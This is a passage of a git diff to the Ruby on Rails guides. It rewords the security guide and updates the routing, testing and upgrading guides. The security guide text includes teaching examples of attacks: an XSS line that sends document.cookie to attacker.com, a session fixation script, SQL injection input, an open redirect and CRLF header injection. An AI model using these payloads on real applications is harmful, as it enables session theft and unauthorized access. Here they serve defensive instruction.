resource. @@ -900,15 +903,15 @@ resources :photos, as: 'images' will recognize incoming paths beginning with `/photos` and route the requests to `PhotosController`, but use the value of the :as option to name the helpers. -| HTTP Verb | Path | Action | Named Helper | -| --------- | ---------------- | ------- | -------------------- | -| GET | /photos | index | images_path | -| GET | /photos/new | new | new_image_path | -| POST | /photos | create | images_path | -| GET | /photos/:id | show | image_path(:id) | -| GET | /photos/:id/edit | edit | edit_image_path(:id) | -| PATCH/PUT | /photos/:id | update | image_path(:id) | -| DELETE | /photos/:id | destroy | image_path(:id) | +| HTTP Verb | Path | Controller#Action | Named Helper | +| --------- | ---------------- | ----------------- | -------------------- | +| GET | /photos | photos#index | images_path | +| GET | /photos/new | photos#new | new_image_path | +| POST | /photos | photos#create | images_path | +| GET | /photos/:id | photos#show | image_path(:id) | +| GET | /photos/:id/edit | photos#edit | edit_image_path(:id) | +| PATCH/PUT | /photos/:id | photos#update | image_path(:id) | +| DELETE | /photos/:id | photos#destroy | image_path(:id) | ### Overriding the `new` and `edit` Segments @@ -1005,15 +1008,15 @@ end Rails now creates routes to the `CategoriesController`. -| HTTP Verb | Path | Action | Used for | -| --------- | -------------------------- | ------- | ----------------------- | -| GET | /kategorien | index | categories_path | -| GET | /kategorien/neu | new | new_category_path | -| POST | /kategorien | create | categories_path | -| GET | /kategorien/:id | show | category_path(:id) | -| GET | /kategorien/:id/bearbeiten | edit | edit_category_path(:id) | -| PATCH/PUT | /kategorien/:id | update | category_path(:id) | -| DELETE | /kategorien/:id | destroy | category_path(:id) | +| HTTP Verb | Path | Controller#Action | Named Helper | +| --------- | -------------------------- | ------------------ | ----------------------- | +| GET | /kategorien | categories#index | categories_path | +| GET | /kategorien/neu | categories#new | new_category_path | +| POST | /kategorien | categories#create | categories_path | +| GET | /kategorien/:id | categories#show | category_path(:id) | +| GET | /kategorien/:id/bearbeiten | categories#edit | edit_category_path(:id) | +| PATCH/PUT | /kategorien/:id | categories#update | category_path(:id) | +| DELETE | /kategorien/:id | categories#destroy | category_path(:id) | ### Overriding the Singular Form diff --git a/guides/source/ruby_on_rails_guides_guidelines.md b/guides/source/ruby_on_rails_guides_guidelines.md index 5564b0648b..8faf03e58c 100644 --- a/guides/source/ruby_on_rails_guides_guidelines.md +++ b/guides/source/ruby_on_rails_guides_guidelines.md @@ -51,7 +51,7 @@ Use the same typography as in regular text: API Documentation Guidelines ---------------------------- -The guides and the API should be coherent and consistent where appropriate. Please have a look at these particular sections of the [API Documentation Guidelines](api_documentation_guidelines.html:) +The guides and the API should be coherent and consistent where appropriate. Please have a look at these particular sections of the [API Documentation Guidelines](api_documentation_guidelines.html): * [Wording](api_documentation_guidelines.html#wording) * [Example Code](api_documentation_guidelines.html#example-code) diff --git a/guides/source/security.md b/guides/source/security.md index d7a41497f8..c698959a2c 100644 --- a/guides/source/security.md +++ b/guides/source/security.md @@ -17,7 +17,7 @@ After reading this guide, you will know: Introduction ------------ -Web application frameworks are made to help developers building web applications. Some of them also help you with securing the web application. In fact one framework is not more secure than another: If you use it correctly, you will be able to build secure apps with many frameworks. Ruby on Rails has some clever helper methods, for example against SQL injection, so that this is hardly a problem. It's nice to see that all of the Rails applications I audited had a good level of security. +Web application frameworks are made to help developers build web applications. Some of them also help you with securing the web application. In fact one framework is not more secure than another: If you use it correctly, you will be able to build secure apps with many frameworks. Ruby on Rails has some clever helper methods, for example against SQL injection, so that this is hardly a problem. It's nice to see that all of the Rails applications I audited had a good level of security. In general there is no such thing as plug-n-play security. Security depends on the people using the framework, and sometimes on the development method. And it depends on all layers of a web application environment: The back-end storage, the web server and the web application itself (and possibly other layers or applications). @@ -70,7 +70,7 @@ Hence, the cookie serves as temporary authentication for the web application. An * Many cross-site scripting (XSS) exploits aim at obtaining the user's cookie. You'll read <a href="#cross-site-scripting-xss">more about XSS</a> later. -* Instead of stealing a cookie unknown to the attacker, he fixes a user's session identifier (in the cookie) known to him. Read more about this so-called session fixation later. +* Instead of stealing a cookie unknown to the attacker, they fix a user's session identifier (in the cookie) known to them. Read more about this so-called session fixation later. The main objective of most attackers is to make money. The underground prices for stolen bank login accounts range from $10-$1000 (depending on the available amount of funds), $0.40-$20 for credit card numbers, $1-$8 for online auction site accounts and $4-$30 for email passwords, according to the [Symantec Global Internet Security Threat Report](http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf). @@ -111,9 +111,9 @@ It works like this: * A user receives credits, the amount is stored in a session (which is a bad idea anyway, but we'll do this for demonstration purposes). * The user buys something. -* His new, lower credit will be stored in the session. -* The dark side of the user forces him to take the cookie from the first step (which he copied) and replace the current cookie in the browser. -* The user has his credit back. +* Their new, lower credit will be stored in the session. +* The dark side of the user forces them to take the cookie from the first step (which they copied) and replace the current cookie in the browser. +* The user has their credit back. Including a nonce (a random value) in the session solves replay attacks. A nonce is valid only once, and the server has to keep track of all the valid nonces. It gets even more complicated if you have several application servers (mongrels). Storing nonces in a database table would defeat the entire purpose of CookieStore (avoiding accessing the database). @@ -121,14 +121,14 @@ The best _solution against it is not to store this kind of data in a session, bu ### Session Fixation -NOTE: _Apart from stealing a user's session id, the attacker may fix a session id known to him. This is called session fixation._ +NOTE: _Apart from stealing a user's session id, the attacker may fix a session id known to them. This is called session fixation._  This attack focuses on fixing a user's session id known to the attacker, and forcing the user's browser into using this id. It is therefore not necessary for the attacker to steal the session id afterwards. Here is how this attack works: -* The attacker creates a valid session id: He loads the login page of the web application where he wants to fix the session, and takes the session id in the cookie from the response (see number 1 and 2 in the image). -* He possibly maintains the session. Expiring sessions, for example every 20 minutes, greatly reduces the time-frame for attack. Therefore he accesses the web application from time to time in order to keep the session alive. +* The attacker creates a valid session id: They load the login page of the web application where they want to fix the session, and take the session id in the cookie from the response (see number 1 and 2 in the image). +* They possibly maintains the session. Expiring sessions, for example every 20 minutes, greatly reduces the time-frame for attack. Therefore they access the web application from time to time in order to keep the session alive. * Now the attacker will force the user's browser into using this session id (see number 3 in the image). As you may not change a cookie of another domain (because of the same origin policy), the attacker has to run a JavaScript from the domain of the target web application. Injecting the JavaScript code into the application by XSS accomplishes this attack. Here is an example: `<script>document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";</script>`. Read more about XSS and injection later on. * The attacker lures the victim to the infected page with the JavaScript code. By viewing the page, the victim's browser will change the session id to the trap session id. * As the new trap session is unused, the web application will require the user to authenticate. @@ -249,7 +249,7 @@ end The above method can be placed in the `ApplicationController` and will be called when a CSRF token is not present on a non-GET request. -Note that _cross-site scripting (XSS) vulnerabilities bypass all CSRF protections_. XSS gives the attacker access to all elements on a page, so he can read the CSRF security token from a form or directly submit the form. Read <a href="#cross-site-scripting-xss">more about XSS</a> later. +Note that _cross-site scripting (XSS) vulnerabilities bypass all CSRF protections_. XSS gives the attacker access to all elements on a page, so they can read the CSRF security token from a form or directly submit the form. Read <a href="#cross-site-scripting-xss">more about XSS</a> later. Redirection and Files --------------------- @@ -258,7 +258,7 @@ Another class of security vulnerabilities surrounds the use of redirection and f ### Redirection -WARNING: _Redirection in a web application is an underestimated cracker tool: Not only can the attacker forward the user to a trap web site, he may also create a self-contained attack._ +WARNING: _Redirection in a web application is an underestimated cracker tool: Not only can the attacker forward the user to a trap web site, they may also create a self-contained attack._ Whenever the user is allowed to pass (parts of) the URL for redirection, it is possibly vulnerable. The most obvious attack would be to redirect users to a fake web application which looks and feels exactly as the original one. This so-called phishing attack works by sending an unsuspicious link in an email to the users, injecting the link by XSS in the web application or putting the link into an external site. It is unsuspicious, because the link starts with the URL to the web application and the URL to the malicious site is hidden in the redirection parameter: http://www.example.com/site/redirect?to= www.attacker.com. Here is an example of a legacy action: @@ -268,7 +268,7 @@ def legacy end ``` -This will redirect the user to the main action if he tried to access a legacy action. The intention was to preserve the URL parameters to the legacy action and pass them to the main action. However, it can be exploited by an attacker if he includes a host key in the URL: +This will redirect the user to the main action if they tried to access a legacy action. The intention was to preserve the URL parameters to the legacy action and pass them to the main action. However, it can be exploited by attacker if they included a host key in the URL: ``` http://www.example.com/site/legacy?param1=xy¶m2=23&host=www.attacker.com @@ -354,9 +354,9 @@ Refer to the Injection section for countermeasures against XSS. It is _recommend **CSRF** Cross-Site Reference Forgery (CSRF) is a gigantic attack method, it allows the attacker to do everything the administrator or Intranet user may do. As you have already seen above how CSRF works, here are a few examples of what attackers can do in the Intranet or admin interface. -A real-world example is a [router reconfiguration by CSRF](http://www.h-online.com/security/Symantec-reports-first-active-attack-on-a-DSL-router--/news/102352). The attackers sent a malicious e-mail, with CSRF in it, to Mexican users. The e-mail claimed there was an e-card waiting for them, but it also contained an image tag that resulted in a HTTP-GET request to reconfigure the user's router (which is a popular model in Mexico). The request changed the DNS-settings so that requests to a Mexico-based banking site would be mapped to the attacker's site. Everyone who accessed the banking site through that router saw the attacker's fake web site and had his credentials stolen. +A real-world example is a [router reconfiguration by CSRF](http://www.h-online.com/security/Symantec-reports-first-active-attack-on-a-DSL-router--/news/102352). The attackers sent a malicious e-mail, with CSRF in it, to Mexican users. The e-mail claimed there was an e-card waiting for them, but it also contained an image tag that resulted in a HTTP-GET request to reconfigure the user's router (which is a popular model in Mexico). The request changed the DNS-settings so that requests to a Mexico-based banking site would be mapped to the attacker's site. Everyone who accessed the banking site through that router saw the attacker's fake web site and had their credentials stolen. -Another example changed Google Adsense's e-mail address and password by. If the victim was logged into Google Adsense, the administration interface for Google advertisements campaigns, an attacker could change his credentials.
+Another example changed Google Adsense's e-mail address and password by. If the victim was logged into Google Adsense, the administration interface for Google advertisements campaigns, an attacker could change their credentials.
Another popular attack is to spam your web application, your blog or forum to propagate malicious XSS. Of course, the attacker has to know the URL structure, but most Rails URLs are quite straightforward or they will be easy to find out, if it is an open-source application's admin interface. The attacker may even do 1,000 lucky guesses by just including malicious IMG-tags which try every possible combination. @@ -379,7 +379,7 @@ NOTE: _Almost every web application has to deal with authorization and authentic There are a number of authentication plug-ins for Rails available. Good ones, such as the popular [devise](https://github.com/plataformatec/devise) and [authlogic](https://github.com/binarylogic/authlogic), store only encrypted passwords, not plain-text passwords. In Rails 3.1 you can use the built-in `has_secure_password` method which has similar features. -Every new user gets an activation code to activate his account when he gets an e-mail with a link in it. After activating the account, the activation_code columns will be set to NULL in the database. If someone requested an URL like these, he would be logged in as the first activated user found in the database (and chances are that this is the administrator): +Every new user gets an activation code to activate their account when they get an e-mail with a link in it. After activating the account, the activation_code columns will be set to NULL in the database. If someone requested an URL like these, they would be logged in as the first activated user found in the database (and chances are that this is the administrator): ``` http://localhost:3006/user/activate @@ -398,7 +398,7 @@ If the parameter was nil, the resulting SQL query will be SELECT * FROM users WHERE (users.activation_code IS NULL) LIMIT 1 ``` -And thus it found the first user in the database, returned it and logged him in. You can find out more about it in [my blog post](http://www.rorsecurity.info/2007/10/28/restful_authentication-login-security/). _It is advisable to update your plug-ins from time to time_. Moreover, you can review your application to find more flaws like this. +And thus it found the first user in the database, returned it and logged them in. You can find out more about it in [my blog post](http://www.rorsecurity.info/2007/10/28/restful_authentication-login-security/). _It is advisable to update your plug-ins from time to time_. Moreover, you can review your application to find more flaws like this. ### Brute-Forcing Accounts @@ -418,24 +418,24 @@ Many web applications make it easy to hijack user accounts. Why not be different #### Passwords -Think of a situation where an attacker has stolen a user's session cookie and thus may co-use the application. If it is easy to change the password, the attacker will hijack the account with a few clicks. Or if the change-password form is vulnerable to CSRF, the attacker will be able to change the victim's password by luring him to a web page where there is a crafted IMG-tag which does the CSRF. As a countermeasure, _make change-password forms safe against CSRF_, of course. And _require the user to enter the old password when changing it_. +Think of a situation where an attacker has stolen a user's session cookie and thus may co-use the application. If it is easy to change the password, the attacker will hijack the account with a few clicks. Or if the change-password form is vulnerable to CSRF, the attacker will be able to change the victim's password by luring them to a web page where there is a crafted IMG-tag which does the CSRF. As a countermeasure, _make change-password forms safe against CSRF_, of course. And _require the user to enter the old password when changing it_. #### E-Mail -However, the attacker may also take over the account by changing the e-mail address. After he changed it, he will go to the forgotten-password page and the (possibly new) password will be mailed to the attacker's e-mail address. As a countermeasure _require the user to enter the password when changing the e-mail address, too_. +However, the attacker may also take over the account by changing the e-mail address. After they change it, they will go to the forgotten-password page and the (possibly new) password will be mailed to the attacker's e-mail address. As a countermeasure _require the user to enter the password when changing the e-mail address, too_. #### Other -Depending on your web application, there may be more ways to hijack the user's account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in [Google Mail](http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/). In this proof-of-concept attack, the victim would have been lured to a web site controlled by the attacker. On that site is a crafted IMG-tag which results in a HTTP GET request that changes the filter settings of Google Mail. If the victim was logged in to Google Mail, the attacker would change the filters to forward all e-mails to his e-mail address. This is nearly as harmful as hijacking the entire account. As a countermeasure, _review your application logic and eliminate all XSS and CSRF vulnerabilities_. +Depending on your web application, there may be more ways to hijack the user's account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in [Google Mail](http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/). In this proof-of-concept attack, the victim would have been lured to a web site controlled by the attacker. On that site is a crafted IMG-tag which results in a HTTP GET request that changes the filter settings of Google Mail. If the victim was logged in to Google Mail, the attacker would change the filters to forward all e-mails to their e-mail address. This is nearly as harmful as hijacking the entire account. As a countermeasure, _review your application logic and eliminate all XSS and CSRF vulnerabilities_. ### CAPTCHAs -INFO: _A CAPTCHA is a challenge-response test to determine that the response is not generated by a computer. It is often used to protect comment forms from automatic spam bots by asking the user to type the letters of a distorted image. The idea of a negative CAPTCHA is not for a user to prove that he is human, but reveal that a robot is a robot._ +INFO: _A CAPTCHA is a challenge-response test to determine that the response is not generated by a computer. It is often used to protect comment forms from automatic spam bots by asking the user to type the letters of a distorted image. The idea of a negative CAPTCHA is not for a user to prove that they are human, but reveal that a robot is a robot._ But not only spam robots (bots) are a problem, but also automatic login bots. A popular CAPTCHA API is [reCAPTCHA](http://recaptcha.net/) which displays two distorted images of words from old books. It also adds an angled line, rather than a distorted background and high levels of warping on the text as earlier CAPTCHAs did, because the latter were broken. As a bonus, using reCAPTCHA helps to digitize old books. [ReCAPTCHA](https://github.com/ambethia/recaptcha/) is also a Rails plug-in with the same name as the API. You will get two keys from the API, a public and a private key, which you have to put into your Rails environment. After that you can use the recaptcha_tags method in the view, and the verify_recaptcha method in the controller. Verify_recaptcha will return false if the validation fails. -The problem with CAPTCHAs is, they are annoying. Additionally, some visually impaired users have found certain kinds of distorted CAPTCHAs difficult to read. The idea of negative CAPTCHAs is not to ask a user to proof that he is human, but reveal that a spam robot is a bot. +The problem with CAPTCHAs is, they are annoying. Additionally, some visually impaired users have found certain kinds of distorted CAPTCHAs difficult to read. The idea of negative CAPTCHAs is not to ask a user to proof that they are human, but reveal that a spam robot is a bot. Most bots are really dumb, they crawl the web and put their spam into every form's field they can find. Negative CAPTCHAs take advantage of that and include a "honeypot" field in the form which will be hidden from the human user by CSS or JavaScript. @@ -528,7 +528,7 @@ The most common parameter that a user might tamper with, is the id parameter, as @project = Project.find(params[:id]) ``` -This is alright for some web applications, but certainly not if the user is not authorized to view all projects. If the user changes the id to 42, and he is not allowed to see that information, he will have access to it anyway. Instead, _query the user's access rights, too_: +This is alright for some web applications, but certainly not if the user is not authorized to view all projects. If the user changes the id to 42, and they are not allowed to see that information, they will have access to it anyway. Instead, _query the user's access rights, too_: ```ruby @project = @current_user.projects.find(params[:id]) @@ -571,7 +571,7 @@ SQL injection attacks aim at influencing database queries by manipulating web ap Project.where("name = '#{params[:name]}'") ``` -This could be in a search action and the user may enter a project's name that he wants to find. If a malicious user enters ' OR 1 --, the resulting SQL query will be: +This could be in a search action and the user may enter a project's name that they want to find. If a malicious user enters ' OR 1 --, the resulting SQL query will be: ```sql SELECT * FROM projects WHERE name = '' OR 1 --' @@ -581,7 +581,7 @@ The two dashes start a comment ignoring everything after it. So the query return #### Bypassing Authorization -Usually a web application includes access control. The user enters his login credentials, the web application tries to find the matching record in the users table. The application grants access when it finds a record. However, an attacker may possibly bypass this check with SQL injection. The following shows a typical database query in Rails to find the first record in the users table which matches the login credentials parameters supplied by the user. +Usually a web application includes access control. The user enters their login credentials and the web application tries to find the matching record in the users table. The application grants access when it finds a record. However, an attacker may possibly bypass this check with SQL injection. The following shows a typical database query in Rails to find the first record in the users table which matches the login credentials parameters supplied by the user. ```ruby User.first("login = '#{params[:name]}' AND password = '#{params[:password]}'") @@ -679,7 +679,7 @@ These examples don't do any harm so far, so let's see how an attacker can steal <script>document.write(document.cookie);</script> ``` -For an attacker, of course, this is not useful, as the victim will see his own cookie. The next example will try to load an image from the URL http://www.attacker.com/ plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review his web server's access log files to see the victim's cookie. +For an attacker, of course, this is not useful, as the victim will see their own cookie. The next example will try to load an image from the URL http://www.attacker.com/ plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review their web server's access log files to see the victim's cookie. ```html <script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script> @@ -888,7 +888,7 @@ HTTP/1.1 302 Moved Temporarily Location: http://www.malicious.tld ``` -So _attack vectors for Header Injection are based on the injection of CRLF characters in a header field._ And what could an attacker do with a false redirection? He could redirect to a phishing site that looks the same as yours, but asks to login again (and sends the login credentials to the attacker). Or he could install malicious software through browser security holes on that site. Rails 2.1.2 escapes these characters for the Location field in the `redirect_to` method. _Make sure you do it yourself when you build other header fields with user input._ +So _attack vectors for Header Injection are based on the injection of CRLF characters in a header field._ And what could an attacker do with a false redirection? They could redirect to a phishing site that looks the same as yours, but ask to login again (and sends the login credentials to the attacker). Or they could install malicious software through browser security holes on that site. Rails 2.1.2 escapes these characters for the Location field in the `redirect_to` method. _Make sure you do it yourself when you build other header fields with user input._ #### Response Splitting diff --git a/guides/source/testing.md b/guides/source/testing.md index edf4813d74..d00fcd1f03 100644 --- a/guides/source/testing.md +++ b/guides/source/testing.md @@ -359,6 +359,17 @@ Notice the 'E' in the output. It denotes a test with error. NOTE: The execution of each test method stops as soon as any error or an assertion failure is encountered, and the test suite continues with the next method. All test methods are executed in alphabetical order. +When a test fails you are presented with the corresponding backtrace. By default +Rails filters that backtrace and will only print lines relevant to your +application. This eliminates the framwork noise and helps to focus on your +code. However there are situations when you want to see the full +backtrace. simply set the `BACKTRACE` environment variable to enable this +behavior: + +```bash +$ BACKTRACE=1 rake test test/models/post_test.rb +``` + ### What to Include in Your Unit Tests Ideally, you would like to include a test for everything which could possibly break. It's a good practice to have at least one test for each of your validations and at least one test for every method in your model. @@ -783,18 +794,23 @@ end Rake Tasks for Running your Tests --------------------------------- -You don't need to set up and run your tests by hand on a test-by-test basis. Rails comes with a number of commands to help in testing. The table below lists all commands that come along in the default Rakefile when you initiate a Rails project. +You don't need to set up and run your tests by hand on a test-by-test basis. +Rails comes with a number of commands to help in testing. +The table below lists all commands that come along in the default Rakefile +when you initiate a Rails project. | Tasks | Description | | ----------------------- | ----------- | -| `rake test` | Runs all unit, functional and integration tests. You can also simply run `rake test` as Rails will run all the tests by default| -| `rake test:controllers` | Runs all the controller tests from `test/controllers`| -| `rake test:functionals` | Runs all the functional tests from `test/controllers`, `test/mailers`, and `test/functional`| -| `rake test:helpers` | Runs all the helper tests from `test/helpers`| -| `rake test:integration` | Runs all the integration tests from `test/integration`| -| `rake test:mailers` | Runs all the mailer tests from `test/mailers`| -| `rake test:models` | Runs all the model tests from `test/models`| -| `rake test:units` | Runs all the unit tests from `test/models`, `test/helpers`, and `test/unit`| +| `rake test` | Runs all unit, functional and integration tests. You can also simply run `rake` as Rails will run all the tests by default | +| `rake test:controllers` | Runs all the controller tests from `test/controllers` | +| `rake test:functionals` | Runs all the functional tests from `test/controllers`, `test/mailers`, and `test/functional` | +| `rake test:helpers` | Runs all the helper tests from `test/helpers` | +| `rake test:integration` | Runs all the integration tests from `test/integration` | +| `rake test:mailers` | Runs all the mailer tests from `test/mailers` | +| `rake test:models` | Runs all the model tests from `test/models` | +| `rake test:units` | Runs all the unit tests from `test/models`, `test/helpers`, and `test/unit` | +| `rake test:all` | Runs all tests quickly by merging all types and not resetting db | +| `rake test:all:db` | Runs all tests quickly by merging all types and resetting db | Brief Note About `MiniTest` diff --git a/guides/source/upgrading_ruby_on_rails.md b/guides/source/upgrading_ruby_on_rails.md index 224213268e..de06ab291f 100644 --- a/guides/source/upgrading_ruby_on_rails.md +++ b/guides/source/upgrading_ruby_on_rails.md @@ -22,6 +22,102 @@ Rails generally stays close to the latest released Ruby version when it's releas TIP: Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails. Ruby Enterprise Edition has these fixed since the release of 1.8.7-2010.02. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults, so if you want to use 1.9.x, jump straight to 1.9.3 for smooth sailing. +Upgrading from Rails 4.0 to Rails 4.1 +------------------------------------- + +NOTE: This section is a work in progress. + +### Spring + +If you want to use Spring as your application preloader you need to: + +1. Add `gem 'spring', group: :development` to your `Gemfile`. +2. Install spring using `bundle install`. +3. Springify your binstubs with `bundle exec spring binstub --all`. + +NOTE: User defined rake tasks will run in the `development` environment by +default. If you want them to run in other environments consult the +[Spring README](https://github.com/jonleighton/spring#rake). + +### Changes in JSON handling + +The are a few major changes related to JSON handling in Rails 4.1. + +#### MultiJSON removal + +MultiJSON has reached its [end-of-life](https://github.com/rails/rails/pull/10576) +and has been removed from Rails. + +If your application currently depend on MultiJSON directly, you have a few options: + +1. Add 'multi_json' to your Gemfile. Note that this might cease to work in the future + +2. Migrate away from MultiJSON by using `obj.to_json`, and `JSON.parse(str)` instead. + +WARNING: Do not simply replace `MultiJson.dump` and `MultiJson.load` with +`JSON.dump` and `JSON.load`. These JSON gem APIs are meant for serializing and +deserializing arbitrary Ruby objects and are generally [unsafe](http://www.ruby-doc.org/stdlib-2.0.0/libdoc/json/rdoc/JSON.html#method-i-load). + +#### JSON gem compatibility + +Historically, Rails had some compatibility issues with the JSON gem. Using +`JSON.generate` and `JSON.dump` inside a Rails application could produce +unexpected errors. + +Rails 4.1 fixed these issues by isolating its own encoder from the JSON gem. The +JSON gem APIs will function as normal, but they will not have access to any +Rails-specific features. For example: + +```ruby +class FooBar + def as_json(options = nil) + { foo: "bar" } + end +end + +>> FooBar.new.to_json # => "{\"foo\":\"bar\"}" +>> JSON.generate(FooBar.new, quirks_mode: true) # => "\"#<FooBar:0x007fa80a481610>\"" +``` + +#### New JSON encoder + +The JSON encoder in Rails 4.1 has been rewritten to take advantage of the JSON +gem. For most applications, this should be a transparent change. However, as +part of the rewrite, the following features have been removed from the encoder: + +1. Circular data structure detection +2. Support for the `encode_json` hook +3. Option to encode `BigDecimal` objects as numbers instead of strings + +If you application depends on one of these features, you can get them back by +adding the [`activesupport-json_encoder`](https://github.com/rails/activesupport-json_encoder) +gem to your Gemfile. + +### Methods defined in Active Record fixtures + +Rails 4.1 evaluates each fixture's ERB in a separate context, so helper methods +defined in a fixture will not be available in other fixtures. + +Helper methods that are used in multiple fixtures should be defined on modules +included in the newly introduced `ActiveRecord::FixtureSet.context_class`, in +`test_helper.rb`. + +```ruby +class FixtureFileHelpers + def file_sha(path) + Digest::SHA2.hexdigest(File.read(Rails.root.join('test/fixtures', path))) + end +end +ActiveRecord::FixtureSet.context_class.send :include, FixtureFileHelpers +``` + +Upgrading from Rails 3.2 to Rails 4.0 +------------------------------------- + +If your application is currently on any version of Rails older than 3.2.x, you should upgrade to Rails 3.2 before attempting one to Rails 4.0. + +The following changes are meant for upgrading your application to Rails 4.0. + ### HTTP PATCH Rails 4 now uses `PATCH` as the primary HTTP verb for updates when a RESTful @@ -120,15 +216,6 @@ Ruby libraries yet. Aaron Patterson's [hana](https://github.com/tenderlove/hana) is one such gem, but doesn't have full support for the last few changes in the specification. -Upgrading from Rails 3.2 to Rails 4.0 -------------------------------------- - -NOTE: This section is a work in progress. - -If your application is currently on any version of Rails older than 3.2.x, you should upgrade to Rails 3.2 before attempting one to Rails 4.0. - -The following changes are meant for upgrading your application to Rails 4.0. - ### Gemfile Rails 4.0 removed the `assets` group from Gemfile. You'd need to remove that @@ -346,18 +433,19 @@ Upgrading from Rails 3.1 to Rails 3.2 If your application is currently on any version of Rails older than 3.1.x, you should upgrade to Rails 3.1 before attempting an update to Rails 3.2. -The following changes are meant for upgrading your application to Rails 3.2.12, the latest 3.2.x version of Rails. +The following changes are meant for upgrading your application to Rails 3.2.16, +the last 3.2.x version of Rails. ### Gemfile Make the following changes to your `Gemfile`. ```ruby -gem 'rails', '= 3.2.12' +gem 'rails', '3.2.16' group :assets do - gem 'sass-rails', '~> 3.2.3' - gem 'coffee-rails', '~> 3.2.1' + gem 'sass-rails', '~> 3.2.6' + gem 'coffee-rails', '~> 3.2.2' gem 'uglifier', '>= 1.0.3' end ``` @@ -393,21 +481,21 @@ Upgrading from Rails 3.0 to Rails 3.1 If your application is currently on any version of Rails older than 3.0.x, you should upgrade to Rails 3.0 before attempting an update to Rails 3.1. -The following changes are meant for upgrading your application to Rails 3.1.11, the latest 3.1.x version of Rails. +The following changes are meant for upgrading your application to Rails 3.1.12, the last 3.1.x version of Rails. ### Gemfile Make the following changes to your `Gemfile`. ```ruby -gem 'rails', '= 3.1.11' +gem 'rails', '3.1.12' gem 'mysql2' # Needed for the new asset pipeline group :assets do - gem 'sass-rails', "~> 3.1.5" - gem 'coffee-rails', "~> 3.1.1" - gem 'uglifier', ">= 1.0.3" + gem 'sass-rails', '~> 3.1.7' + gem 'coffee-rails', '~> 3.1.1' + gem 'uglifier', '>= 1.0.3' end # jQuery is the default JavaScript library in Rails 3.1 |